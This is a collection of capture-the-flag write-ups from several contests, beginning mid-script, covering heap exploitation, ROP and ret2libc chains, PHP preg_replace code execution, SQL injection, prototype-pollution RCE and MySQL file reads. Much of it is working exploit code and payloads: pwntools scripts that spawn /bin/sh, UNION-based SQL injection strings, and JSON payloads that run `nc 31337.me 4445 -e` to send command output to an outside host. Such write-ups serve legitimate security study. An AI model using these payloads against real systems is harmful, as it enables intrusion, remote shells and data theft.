"/bin/sh") flip() p.interactive()``` Flag: `dice{some_dance_to_remember_some_dance_to_forget_2.27_checks_aff239e1a52cf55cd85c9c16}` ### AppendixSome may be confused as to why writing a `0x404020` to the tcache next was possible to poison the tcache, as their heap addresses were 6 bytes. So, writing only 3 bytes would make for a bad chunk pointer and crash the program. However, the heap addresses on remote were 3-4 bytes. I believe patchelf with the libc and linker also caused the heap addresses to be 3-4 bytes, but using LD_PRELOAD would keep the 6 byte addresses. Even with a 6 byte heap, the challenge was solvable with a 4 bit brute force. You can write a `\x60\x00` to the chunk after flipping, which will overwrite the last two bytes of the `fwd` of the double freed chunk. This will set you up for a 1/16th chance tcache overwrite to fully poison the freelist with `0x404020`. ## babyropChecksec:```Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)``` There is a clear buffer overflow in the main function, with an unsafe `gets(&buf)`. No canary and PIE means that this is a clear ROP challenge. Many people got caught up on controlling a register which seemingly had no useful gadgets to write to, so that is what I will be explaining here. Libc leak:The only available [GOT](http://bottomupcs.sourceforge.net/csbu/x3824.htm) functions are `write` and `gets`, so we can't just call `puts()` with a `pop rdi` gadget to leak libc. To get `write()` working, we need control of `rdi`, `rsi`, and `rdx`. A call to [write](https://www.man7.org/linux/man-pages/man2/write.2.html) needs:- rdi = [file descriptor](https://en.wikipedia.org/wiki/File_descriptor) (in this case, we want it to be `1` for stdout)- rsi = pointer to what we want to write (GOT entry of `write` to leak the libc address)- rdx = number of bytes to write Gadgets to control the first two can easily be found with `ROPgadget --binary babyrop`. However, controlling `rdx` is a bit more complicated and requires a technique called [`ret2csu`](https://bananamafia.dev/post/x64-rop-redpwn/). Our two csu gadgets are contained in `__libc_csu_init`:```asm0x00000000004011b0 <+64>: mov rdx,r14 (first gadget here)0x00000000004011b3 <+67>: mov rsi,r130x00000000004011b6 <+70>: mov edi,r12d0x00000000004011b9 <+73>: call QWORD PTR [r15+rbx*8]0x00000000004011bd <+77>: add rbx,0x10x00000000004011c1 <+81>: cmp rbp,rbx0x00000000004011c4 <+84>: jne 0x4011b0 <__libc_csu_init+64>0x00000000004011c6 <+86>: add rsp,0x80x00000000004011ca <+90>: pop rbx (second gadget here)0x00000000004011cb <+91>: pop rbp0x00000000004011cc <+92>: pop r120x00000000004011ce <+94>: pop r130x00000000004011d0 <+96>: pop r140x00000000004011d2 <+98>: pop r150x00000000004011d4 <+100>: ret``` Remember, our goal is to control `rdx`, which gets set to `r14` in the first gadget. We can control `r14` and other registers with a call to the second gadget and writing our desired values to the stack, where they will be popped into said registers. However, the first gadget doesn't have a `ret`, it has a `call` to whatever `rt15+rbx*8` is pointing to. We have control over both of thse registers using the second gadget. So, I chose to set `r15` to a pointer to `_init`, and set `rbx` equal to 0 (`_init` is just a function that returns quickly). Thus, it would call `_init`, and then eventually `ret` at `+100`. There is another check in place, at `+84`. It checks if `rbp == rbx`. To solve this I made `rbx = 1, rbp = 0` when I call gadget 2. After setting up the registers you can just call `write` to leak libc and then `main` to get another opportunity to buffer overflow. Now with control of `rdi`, `rsi`, `rdx`, and a libc leak, we can determine the right version of libc to use using a tool like [libc.blukat.me](https://libc.blukate.me/), and download it to find the system address. From there it is a standard ret2libc. Many people ran into an error with stack alignment. My advice is: if you ever crash on remote and are completely sure that system is getting called with `[rdi] == "/bin/sh"`, just toss a few `ret`s into the final ropchain between the calls. Script:```pyfrom pwn import * e = ELF("./babyrop")libc = ELF("./libc.so.6")ld = ELF("./ld-2.31.so") context.binary = econtext.terminal = ["konsole", "-e"] context.log_level="debug" p = remote("dicec.tf", 31924) poprdi = 0x00000000004011d3csu1 = 0x00000000004011b0csu2 = 0x00000000004011caret = 0x000000000040101a points_to_init = 0x4000f8 p.sendlineafter(":", "A"*72 + p64(poprdi) + p64(1) + p64(csu2) + p64(0) + p64(1)*2 + p64(e.got["write"]) + p64(8) + p64(points_to_init) + p64(csu1) + "AAAAAAAA"*7 + p64(e.plt["write"]) + p64(e.sym["main"])) p.recv(1) libc.address = u64(p.recv(8).ljust(8, "\x00")) - libc.sym["write"] print("libc base", hex(libc.address)) p.sendlineafter(":", "A"*72 + p64(ret) + p64(poprdi) + p64(next(libc.search("/bin/sh"))) + p64(ret) + p64(libc.sym["system"])) p.interactive()``` Flag: `dice{so_let's_just_pretend_rop_between_you_and_me_was_never_meant_b1b585695bdd0bcf2d144b4b}`
# ugractf-battleship Задание: ![image](https://user-images.githubusercontent.com/73061822/109430238-5724e300-7a11-11eb-8c8e-cfb9e8838f51.png) Сайт: ![image](https://user-images.githubusercontent.com/73061822/109430245-686def80-7a11-11eb-8080-c2a732ad16fb.png) Если мы начнем игру и выстрелим, то увидим: ![image](https://user-images.githubusercontent.com/73061822/109430273-94897080-7a11-11eb-9c4f-e6c12601db59.png) При выстреле запрос выглядит так: ![image](https://user-images.githubusercontent.com/73061822/109430611-4d9c7a80-7a13-11eb-8c56-e44192771738.png) (Я удалил куки, т.к они большие и бесполезные, не обращайте внимания) Пришло в голову несколько раз быстро выстрелить. Заметил, что при выстрелах в течение одной секунды в одну и ту же точку дистанция до корабля не меняетсяСледовательно, корабль меняет свою положение раз в секунду (строго говоря, одно из другого не следуюет, но предположить стоило) Тогда сделаем так: 1)выстрелим 2 раза в 2 разных места 2)проведем две окружности с центрами в этих точках и радиусами, равными дистанции, которую мы из них получаем, найдем их пересечения 3)выстрелим в получившиеся две точки, одна из них будет кораблем 4)сделать все это в течение секунды 5)???? 6)PROFIT ```python import requests as rqimport mathdef get_intercetions(x0, y0, r0, x1, y1, r1): d=math.sqrt((x1-x0)**2 + (y1-y0)**2) if d > r0 + r1 : return None if d < abs(r0-r1): return None if d == 0 and r0 == r1: return None else: #Получаем точки a=(r0**2-r1**2+d**2)/(2*d) h=math.sqrt(r0**2-a**2) x2=x0+a*(x1-x0)/d y2=y0+a*(y1-y0)/d x3=x2+h*(y1-y0)/d y3=y2-h*(x1-x0)/d x4=x2-h*(y1-y0)/d y4=y2+h*(x1-x0)/d #Мне было проще выстрелить по точкам тут d = rq.post("https://battleship.q.2021.ugractf.ru/b6afef3a9019c9a3/fire", data={'x': str(x3), 'y': str(y3)}, cookies=r.cookies) print(d.text) d = rq.post("https://battleship.q.2021.ugractf.ru/b6afef3a9019c9a3/fire", data={'x': str(x4), 'y': str(y4)}, cookies=r.cookies) print(d.text) return (x3, y3, x4, y4)#Делаем старт игрыr = rq.post("https://battleship.q.2021.ugractf.ru/b6afef3a9019c9a3/reset")print(r.text) #Стреляем два разаr = rq.post("https://battleship.q.2021.ugractf.ru/b6afef3a9019c9a3/fire", data={'x': 0, 'y': 0}, cookies=r.cookies)print(r.text)jsonResponse = r.json() # Берем ответ намr1 = float(jsonResponse["distance"]) # Переводим во float для радиусаr = rq.post("https://battleship.q.2021.ugractf.ru/b6afef3a9019c9a3/fire", data={'x': 400, 'y': 0}, cookies=r.cookies)jsonResponse = r.json()r2 = float(jsonResponse["distance"])print(r.text)print(get_intercetions(0, 0, r1, 400, 0, r2))``` Получаем ответ: ![image](https://user-images.githubusercontent.com/73061822/109430710-cbf91c80-7a13-11eb-92fd-7cb922bcd7f2.png) Флаг: ugra_gotta_hit_fast_...
# DarkCON CTF 2021 – Easy PHP * **Category:** web* **Points:** 384 ## Challenge > Please note....> > Note: This chall does not require any brute forcing> > http://easy-php.darkarmy.xyz/ ## Solution The normal webpage returns a welcome advice. ```Welcome DarkCON CTF !!``` But connecting to `http://easy-php.darkarmy.xyz/robots.txt` will reveal the following content. ```?lmao``` So you can connect to `http://easy-php.darkarmy.xyz/?lmao` which will return the following PHP code. ```php ``` Basically you can craft your own `preg_replace`. For example, connecting to `http://easy-php.darkarmy.xyz/?bruh=test&nic3=/DarkCON/` will give you the following. ```Welcome test CTF !!Welcome DarkCON CTF !!``` The [`preg_replace` is subject to RCE using `/e`](https://medium.com/@roshancp/command-execution-preg-replace-php-function-exploit-62d6f746bda4). `http://easy-php.darkarmy.xyz/?bruh=phpinfo()&nic3=/DarkCON/e` will return the `phpinfo()` output. But `http://easy-php.darkarmy.xyz/?bruh=system(%27id%27)&nic3=/DarkCON/e` will be blocked by the `is_payload_danger` method. With some analysis, you can discover that `fread` and `fopen` are available, so you can read `config.php` with a payload like the following, specifying the `config.php` filename in another GET parameter to bypass the check. ```base64_encode(fread(fopen($_GET['pwn'],'r'),512)) http://easy-php.darkarmy.xyz/?bruh=base64_encode(fread(fopen($_GET[%27pwn%27],%27r%27),512))&nic3=/DarkCON/e&pwn=config.php``` The response is the following. ```Welcome PD9waHAKZnVuY3Rpb24gaXNfcGF5bG9hZF9kYW5nZXIoJHBheWxvYWQpIHsKCXJldHVybiBwcmVnX21hdGNoKCcvZXhlY3xwYXNzdGhydXxzaGVsbF9leGVjfHN5c3RlbXxwcm9jX29wZW58cG9wZW58Y3VybF9leGVjfGN1cmxfbXVsdGlfZXhlY3xwYXJzZV9pbmlfZmlsZXxyZWFkZmlsZXxyZXF1aXJlfHJlcXVpcmVfb25jZXxpbmNsdWRlfGluY2x1ZGVfb25jZXxwcmludHxmaW5kfGZpbGV8YHxjb25maWd8dmFyX2R1bXB8ZGlyLycsJHBheWxvYWQpOwp9Cj8+Cg== CTF !!Welcome DarkCON CTF !!``` Decoding the base64, you can discover the source code. ```php ``` Using `glob` function, which is not blocked, you can find an interesting file. ```http://easy-php.darkarmy.xyz/?bruh=glob(%22*.php%22)[1]&nic3=/DarkCON/e``` ```Welcome flag210d9f88fd1db71b947fbdce22871b57.php CTF !!Welcome DarkCON CTF !!``` You can read that file with the technique used before. ```http://easy-php.darkarmy.xyz/?bruh=base64_encode(fread(fopen($_GET[%27pwn%27],%27r%27),512))&nic3=/DarkCON/e&pwn=flag210d9f88fd1db71b947fbdce22871b57.php``` ```Welcome ZGFya0NPTnt3M2xjMG1lX0Q0cmtDMG5fQ1RGXzJPMjFfZ2d3cCEhISF9Cg== CTF !!Welcome DarkCON CTF !!``` Decoding the base64 you can discover the flag. ```darkCON{w3lc0me_D4rkC0n_CTF_2O21_ggwp!!!!}```
We were given a python script picmaker.py and a picture inject.png. The description of the problem was the following: ```Pixels don't reveal secrets, or do they?Hint : The original file name is inject.bin``` What the script basically does is it takes a file, encodes the file as base64 and creates an image with the file data encoded into it as colours. There are four different colours, which represent four possible combinations of 2 bits. So every byte is represented by four pixels. The python code, which reverses the process, is the following: ```pythonimport base64from PIL import Image img = Image.open("inject.png")pixels = img.load() width, height = img.sizecolours = [ (255, 0, 0), (0, 0, 255), (0, 128, 0), (255, 255, 0) ] enc = '' for i in range(0, int(width*height)-1, 4): byte = [pixels[i%width,i//width], pixels[(i+1)%width,(i+1)//width], pixels[(i+2)%width,(i+2)//width], pixels[(i+3)%width,(i+3)//width]] part = [] for a in byte: c = 0 for b in colours: if a == b: part.append(c) break c += 1 if (len(part) > 0): ans = 0 ans |= part[0]<<6 ans |= part[1]<<4 ans |= part[2]<<2 ans |= part[3]<<0 enc+=chr(ans) unenc = base64.b64decode(enc) f = open("inject.bin", "wb")f.write(unenc) f.close()``` With a quick google search we can find that inject.bin is a rubber ducky compiled payload. We can use tools to decompile it, for example Duck-Decoder (https://github.com/JPaulMora/Duck-Decoder). In the output we can find the flag **darkCON{p1x3l5_w17h_m4lw4r3}** as well as a Rickroll and some harmless evil looking commands.
```from pwn import * context(os='linux', arch='amd64', log_level='debug') elf = ELF("./chall") p = remote("pwn.ctf.zer0pts.com", 9011) # overwrite saved rbp bss_addr = 0x0600234 #__stack_shadow payload = b"A" * 0x100 payload += p64(bss_addr + 0x100) p.sendlineafter("Data: ", payload) # construct fake stack payload = p64(0)+p64(bss_addr+ 0x10) print(shellcraft.sh()) payload += asm(shellcraft.sh()) p.sendlineafter("Data: ", payload) p.interactive()```
# DarkCON CTF 2021 – The Reporter * **Category:** OSINT* **Points:** ? ## Challenge > Miss Lola beck has something on her social media account. You are Agent P. find the secret.> > Hint : username l.beck ## Solution The first step is to use `userfinder`. ```root@m3ss4p0:~/Tools/userfinder# python ./userfinder.py l.beck _ _ _____ _ _| | | |___ ___ _ __| ___(_)_ __ __| | ___ _ __| | | / __|/ _ \ '__| |_ | | '_ \ / _` |/ _ \ '__|| |_| \__ \ __/ | | _| | | | | | (_| | __/ | \___/|___/\___|_| |_| |_|_| |_|\__,_|\___|_| by tr4cefl0w [*] Searching...[+] Profile found: https://www.instagram.com/l.beck/[+] Profile found: https://www.facebook.com/LBeck[+] Profile found: https://twitter.com/l.beck[+] Profile found: https://about.me/l.beck[+] Profile found: https://imgur.com/user/l.beck[+] Profile found: https://open.spotify.com/user/l.beck[+] Profile found: https://www.mixcloud.com/l.beck/[+] Profile found: https://badoo.com/[+] Profile found: https://trakt.tv/users/l.beck``` `https://about.me/l.beck` contains the following text, so it could be the right track. The button in the page contains a link to `reddit.com`. > Hi, I am Lola.> > Experiences> > * Freelancer,> > * Reporter.> > Recent News:> > " Teen Detained For Cyber Crime At Coffee Shop Chain. "> > I have managed to get this text:> > 725f37626f6e6e6965 ![about.me-l.beck.png](https://github.com/m3ssap0/CTF-Writeups/raw/master/DarkCON%20CTF%202021/The%20Reporter/about.me-l.beck.png) Decoding the text `725f37626f6e6e6965`, from hex to ASCII, you can find the following string: `r_7bonnie`. ```root@m3ss4p0:~/Tools/userfinder# python ./userfinder.py r_7bonnie _ _ _____ _ _| | | |___ ___ _ __| ___(_)_ __ __| | ___ _ __| | | / __|/ _ \ '__| |_ | | '_ \ / _` |/ _ \ '__|| |_| \__ \ __/ | | _| | | | | | (_| | __/ | \___/|___/\___|_| |_| |_|_| |_|\__,_|\___|_| by tr4cefl0w [*] Searching...[+] Profile found: https://www.facebook.com/arie.hasit[+] Profile found: https://twitter.com/r_7bonnie[+] Profile found: https://www.reddit.com/user/r_7bonnie[+] Profile found: https://imgur.com/user/r_7bonnie[+] Profile found: https://open.spotify.com/user/r_7bonnie[+] Profile found: https://www.mixcloud.com/r_7bonnie/[+] Profile found: https://badoo.com/[+] Profile found: https://500px.com/p/r_7bonnie``` Considering that there was a link to Reddit, you can try it for first. ```https://www.reddit.com/user/r_7bonnie``` ![reddit-r_7bonnie.png](https://github.com/m3ssap0/CTF-Writeups/raw/master/DarkCON%20CTF%202021/The%20Reporter/reddit-r_7bonnie.png) The name, *Trish*, is the same of the challenge creator. There is a post with a GIF which contains a *MaxiCode* image. ```https://www.reddit.com/user/r_7bonnie/comments/lmrxae/here_get_something_you_want/``` ![reddit.com-post.png](https://github.com/m3ssap0/CTF-Writeups/raw/master/DarkCON%20CTF%202021/The%20Reporter/reddit.com-post.png) Decoding with an [on-line tool](https://zxing.org/w/decode.jspx) you can find the flag. ![maxicode.png](https://github.com/m3ssap0/CTF-Writeups/raw/master/DarkCON%20CTF%202021/The%20Reporter/maxicode.png) ```darkCON{os1nst_1s_nic3}```
# DefCamp CTF 2020 – why-xor * **Category:** cryptography* **Points:** 50 ## Challenge > Let's be fair, we all start with XOR, and we keep enjoying it.> > Flag format: CTF{sha256}> > The challenge was proposed by BIT SENTINEL. ## Solution The challenge gives you [a Python script](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/DefCamp%20CTF%202020/why-xor/xor.py). ```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ""s2 = ""# ['\x00', '\x00', '\x00'] at start of xored is the best hint you geta_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]print(a_list)print("".join(a_list))``` The comment in the script is a hint: secret could be composed by a sequence of `ctf` strings and this explains why first 3 chars are zeros (i.e. `'ctf' ^ 'ctf'`). Another [Python script](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/DefCamp%20CTF%202020/why-xor/why-xor.py) can be implemented to reverse the original script. ```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']secret = "ctf" * len(xored)a_list = [chr(ord(a) ^ ord(b)) for a,b in zip(xored, secret)]print("".join(a_list))``` The flag is the following. ```ctf{79f107231696395c004e87dd7709d3990f0d602a57e9f56ac428b31138bda258}```
# Quotebook - DaVinciCTF - Category: Pwn- Points: 499- Solves: 15- Solved by: drw0if - hdesk ## Description I created this amazing service to store all my famous quotes. Can you get the flag? `nc challs.dvc.tf 2222` ## Solution Since we are given the source code we started analyzing the general beaviour of the service: we can manage a list of `quotes` which are composed of:- content- content size- title- title size- function pointer to quote_write function- function pointer to quote_read function For each quote we add the service asks malloc a chunk of memory for the main struct (48 bytes), a chunk for the title and a chunk for the content, we can choose che size for both the title and the content, and it increments a global counter `book_ctr`. Whenever we delete a quote it decrements `book_ctr` and frees the specified struct number. At a first look the service appears to be vulnerable to double free and use-after-free:- if we have 10 quotes and we ask to delete the first one it gets freed but the counter decrements to 9, so we can now delete all the structs from 1 to 9, so we can free again the first quote;- if we free the first struct and `book_ctr` is more than one we can modify the first struct again. We started creating 10 quotes and deleting 1 and 2 so we could fill up the `fastbin` list. We created a new quote and listing them we discovered that the second and the last one were identical: the fastbin attack can be abused! Next we looked for a way to gather arbitrary read/write: we thought about creating a quote whose content pointer points to a user specified address, to achieve this we chained:- allocate 10 quotes- free 1 and 2 in order- create a new quote whose content size is the same as struct size in this way we got a new struct which is the same as the second one but the content pointer points to the base of the first struct since we asked for same size chunks. With this memory layout writing onto the second quote content we can overwrite the first quote content `pointer` which is used for quote editing. Next step is to leak some libc address like fgets so we can calculate the offset at which libc has been loaded and then the real address of `system`, in order to achieve this we need to overwrite the first struct content pointer to the fgets `GOT` entry, then we can read the content and leak the address to do our calculations. We are almost done: we need a libc function called with our directly input:- no `printf` or `puts` is called with our input- `fgets` is used to read the menu option so if we overwrite it we can't control the program anymore- `sscanf` seems to be the only useful function cause it is used with our direct input to parse it in the menu function We overwrite the sscanf GOT entry with system and launched `/bin/sh`. In the end the exploit:- allocate then quotes- delete quote 1 to populate fastbin- delete quote 2 to populate fastbin- create a new quote with `content_size` set to 48- edit the quote 9 (or 2) to overwrite quote 1 content pointer to sscanf@got address- display quote 1 content to leak sscanf real address- calculate the offset and the real `system` address- edit the quote 1 content to set `system` address instead of `sscanf`- send `/bin/sh` command- profit
# Gunship In the source code there is a comment “inflatten AST injection”. File fragment with this comment can be seen on the Figure 1. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-22-51-40.png) Figure 1 – File fragment with the comment We googled “inflatten AST injection” and found the following article https://blog.p6.is/AST-Injection/.We used the code from this article and did some requests: ```POST /api/submit HTTP/1.1Host: docker.hackthebox.eu:30318Content-Length: 405Content-Type: application/json {"artist.name":"Westaway", "__proto__.type": "Program", "__proto__.body": [{ "type": "MustacheStatement", "path": 0, "params": [{ "type": "NumberLiteral", "value": "process.mainModule.require('child_process').execSync(`nc 31337.me 4445 -e ls`)" }], "loc": { "start": 0, "end": 0 } }]}``` After executing the code above, we received a connection, which can be seen on the Figure 2. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-22-51-53.png) Figure 2 – Received connection The following payload will display file content “flagyedEl” to the console: ```POST /api/submit HTTP/1.1Host: docker.hackthebox.eu:30318Content-Length: 416Content-Type: application/json{"artist.name":"Westaway", "__proto__.type": "Program", "__proto__.body": [{ "type": "MustacheStatement", "path": 0, "params": [{ "type": "NumberLiteral", "value": "process.mainModule.require('child_process').execSync(`nc 31337.me 4445 -e cat flagyedEl`)" }], "loc": { "start": 0, "end": 0 } }]}``` The result of execution of the code above can be seen on Figure 3. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-22-52-17.png) Figure 3 – The result of “cat flagyedEl” command execution Flag: HTB{wh3n_l1f3_g1v3s_y0u_p6_st4rt_p0llut1ng_w1th_styl3}.
# Kanagawa - DaVinciCTF - Category: Pwn- Points: 59- Solves: 92- Solved by: drw0if - hdesk ## Description `nc challs.dvc.tf 4444` or `nc challs.dvc.tf 7777` ## Solution Common buffer overflow with jump to a never called function, since there is no PIE enabled we can spam the function address and hope to reach the target
TL; DR. Classic format string exploit. Leak the address of `libc`, execute the vulnerable function again by overwriting `exit`, and finally overwrite `printf()` with `system()` to get a shell.
Shadow Cat========== Task description---------------- > We only know that one used /etc/shadow file to encrypt important message for> us. shadow.txt encrypted.txt Solution-------- To be done. TL;DR: Crack shadow file with John the Ripper, use the one-letter usernames andtheir passwords to decode each letter in the ecrypted.txt. jr:1:17792:0:99999:7::: z:_:17930:0:99999:7::: a:a:17930:0:99999:7::: x:b:17930:0:99999:7::: q:c:17930:0:99999:7::: l:w:17930:0:99999:7::: v:h:17930:0:99999:7::: e:i:17930:0:99999:7::: f:j:17930:0:99999:7::: b:k:17930:0:99999:7::: r:l:17930:0:99999:7::: g:m:17930:0:99999:7::: n:n:17930:0:99999:7::: o:x:17930:0:99999:7::: p:y:17930:0:99999:7::: s:d:17930:0:99999:7::: c:e:17930:0:99999:7::: w:f:17930:0:99999:7::: d:g:17930:0:99999:7::: t:o:17930:0:99999:7::: h:p:17930:0:99999:7::: m:q:17930:0:99999:7::: k:u:17930:0:99999:7::: i:v:17930:0:99999:7::: y:r:17930:0:99999:7::: j:s:17930:0:99999:7::: u:t:17930:0:99999:7::: underscore:z:17930:0:99999:7::: 28 password hashes cracked, 0 left
In this challenge a list of keyword was forbidden and we needed to read a file, we had the option to insert two payloads in order to do so. Using manipulation of globals and other pythonic trick the goal was achived. https://github.com/yonlif/0x41414141-CTF-writeups/blob/main/pyjail.md
# Members - DaVinciCTF - Category: Web- Points: 66- Solves: 61- Solved by: raff01 ## Description Can you get more information about the members? `http://challs.dvc.tf:1337/members` ## Analysis In order to solve this challenge it's necessary to have solved the previous one called "Authentication" that permits to access the following web service: `http://challs.dvc.tf:1337/members` Let's have a look to the web site. We have a page where there is a table with some information about members on the right and a form that allows to search members on the left. By analysing the source code of the page we can see that the form uses the GET method to send search-parameters, so all the text we write will be encoded into the url. Once the server has recived our data, it will return information about members. So it seems there's a MySQL Database back the application. Let's inject some malicious code into the text field: `Leonard" OR 1=1; --` and the application will return all the records of the table, so the application is vulnerable to SQL Injection! ## Solution Probably the flag isn't in the same table where are archived all the members. So the best thing to do is to show all the table names and see if there is something interesting. To do this we can use the **UNION** command that permits to add a malicious sub-query to the original one and get other data from the database. In particular the table **information_schema.tables** contains the information about all the tables located in the db. Let's inject the following code: `Leonard" UNION (SELECT TABLE_NAME,2,3 FROM INFORMATION_SCHEMA.TABLES); --` and the application will return all the table names that are stored in the database. If we scroll down we can see two interesting tables: **members** that is the table that contains all the members information and another table called **supa_secret_table**, let's analyse it. The table called **information_schema.columns** contains all the information about the columns of all the tables stored. So we can get the field names of **supa_secret_table** by injecting this code: `Leonard" UNION (SELECT COLUMN_NAME,2,3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='supa_secret_table'); --` the application will return two records with the name of the fields: **id** and **flag**. So now let's get the content of flag: `Leonard" UNION (SELECT flag,2,3 FROM supa_secret_table); --` and the application will print the flag! ## Flag `dvCTF{1_h0p3_u_d1dnt_us3_sqlm4p}`
# SummaryYou use a `ret2libc` exploit by overflowing until you make the binary leak a libc function (you end up finding that the libc version is 2.31 ubunut). With that, you've broken through ASLR and you can run `system`# Solution (`pwntools` template)```#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000) #io = start()io = remote("challenge.nahamcon.com", 30413) cut = cyclic_find('faab') # I found this by running cyclic(300) first and finding the segfault at the character sequence "faab"buf = cyclic(cut) rc = ROP(exe)rc.puts(exe.sym.got["puts"])rc.main() xpl1 = buf + rc.chain() io.sendline(xpl1) # This will cause the leak of the puts() function's GOT address puts_leak = io.readline()puts_leak = puts_leak.strip().replace(b"Can you overflow this?: ", b"")puts_leak = u64(puts_leak.ljust(8, b'\x00'))log.info("puts @ {}".format(hex(puts_leak))) libc.address = puts_leak - 0x0875a0 # Based on the leak, you can get the base address of glibclog.info("libc base @ {}".format(hex(libc.address))) bin_sh_loc = next(libc.search(b"/bin/sh")) # "/bin/sh" is somewhere in glibc alwayslog.info("bin sh string @ {}".format(hex(bin_sh_loc))) pop_rdi = libc.address + 0x0000000000026b72 # pop rdi ; retret = libc.address + 0x0000000000025679 # https://ropemporium.com/guide.html - ctrl+F "The MOVAPS issue"chain = p64(pop_rdi) # rdi is the first parameter for syscallschain += p64(bin_sh_loc)chain += p64(ret)chain += p64(libc.sym["system"]) xpl2 = buf + rc2.chain()xpl2 = buf + chainio.sendlineafter(": ", xpl2) io.interactive()```
# Internal ## The brief ```This is Stage 2 of Path 3 in The Mission. After solving this challenge, you may need to refresh the page to see the newly unlocked challenges. Escalate your privileges and retrieve the flag out of root's home directory. Use credentials you have gathered previously to access this challenge. Press the Start button on the top-right to begin this challenge.``` ## SSH We have creds from the `Orion` challenge:```user: Orionpass: stars4love4life``` ## Recon So what can we do? The machine has no `sudo` binary, our `id` is boring and no `SUID` binaries. ```bashorion@internal-b02dc088968f8e8d-655f7b5848-84zvp:~$ cd /orion@internal-b02dc088968f8e8d-655f7b5848-84zvp:/$ lsapp bin boot create_mysql_admin_user.sh dev etc home lib lib64 media mnt mysql-setup.sh opt proc root run run.sh sbin srv start-apache2.sh start-mysqld.sh sys tmp usr var```Interesting, some `MySQL` stuff.... can we logon? ```bashorion@internal-6302da397808a1bb-6f6f845cd-stzk4:/$ cat run.sh#!/bin/bash VOLUME_HOME="/var/lib/mysql" sed -ri -e "s/^upload_max_filesize.*/upload_max_filesize = ${PHP_UPLOAD_MAX_FILESIZE}/" \ -e "s/^post_max_size.*/post_max_size = ${PHP_POST_MAX_SIZE}/" /etc/php5/apache2/php.iniif [[ ! -d $VOLUME_HOME/mysql ]]; then echo "=> An empty or uninitialized MySQL volume is detected in $VOLUME_HOME" echo "=> Installing MySQL ..." mysql_install_db > /dev/null 2>&1 echo "=> Done!" /create_mysql_admin_user.shelse echo "=> Using an existing volume of MySQL"fi exec supervisord -norion@internal-6302da397808a1bb-6f6f845cd-stzk4:/$ cat mysql-setup.sh#!/bin/bash service mysql restartsleep 5#mysqld &#mysqladmin --user root password ""#mysql -e "DROP USER 'root'@'localhost'; CREATE USER 'root'@'%' IDENTIFIED BY '';GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES;"/usr/sbin/sshd -D```One of the comments is really usefull:```#mysqladmin --user root password ""```Time to SQL ## MySQL Here is the initial part:``` mysql -u rootWelcome to the MySQL monitor. Commands end with ; or \g.Your MySQL connection id is 7Server version: 5.5.47-0ubuntu0.14.04.1 (Ubuntu) Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or itsaffiliates. Other names may be trademarks of their respectiveowners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> show databases;+--------------------+| Database |+--------------------+| information_schema || mysql || performance_schema |+--------------------+3 rows in set (0.00 sec)````information_schema` and `performance_schema` are not interesting to us. But `mysql` is!```mysql> use mysql;Reading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -A Database changedmysql> show tables;+---------------------------+| Tables_in_mysql |+---------------------------+| columns_priv || db || event || func || general_log || help_category || help_keyword || help_relation || help_topic || host || ndb_binlog_index || plugin || proc || procs_priv || proxies_priv || servers || slow_log || tables_priv || time_zone || time_zone_leap_second || time_zone_name || time_zone_transition || time_zone_transition_type || user |+---------------------------+```Ooooo, and what's in `user`? (A lot, but here are the two important columns):```select User, Password from user;+-------+-------------------------------------------+| User | Password |+-------+-------------------------------------------+| root | || root | || root | || root | || admin | *29D16BAEB5F0BF7E2F8E862E3FB290C7F03F3754 |+-------+-------------------------------------------+5 rows in set (0.00 sec)```Aight... what now? That isn't a real password... ## Getting the flag Thank you to [Maryary](https://github.com/Maryary94)! She helped me finish this challenge. We know that the flag is probably in the `/root/` folder as `flag.txt`. So how can we loaded into the database to read?```mysql> LOAD DATA INFILE '/root/flag.txt' INTO TABLE db FIELDS TERMINATED BY '\n';Query OK, 1 row affected, 21 warnings (0.00 sec)Records: 1 Deleted: 0 Skipped: 0 Warnings: 21```Then just `select * from db;` (I won't show the whole output):```flag{183bdf6f145a1c97f0b4f520355e8ed5}```Yay!
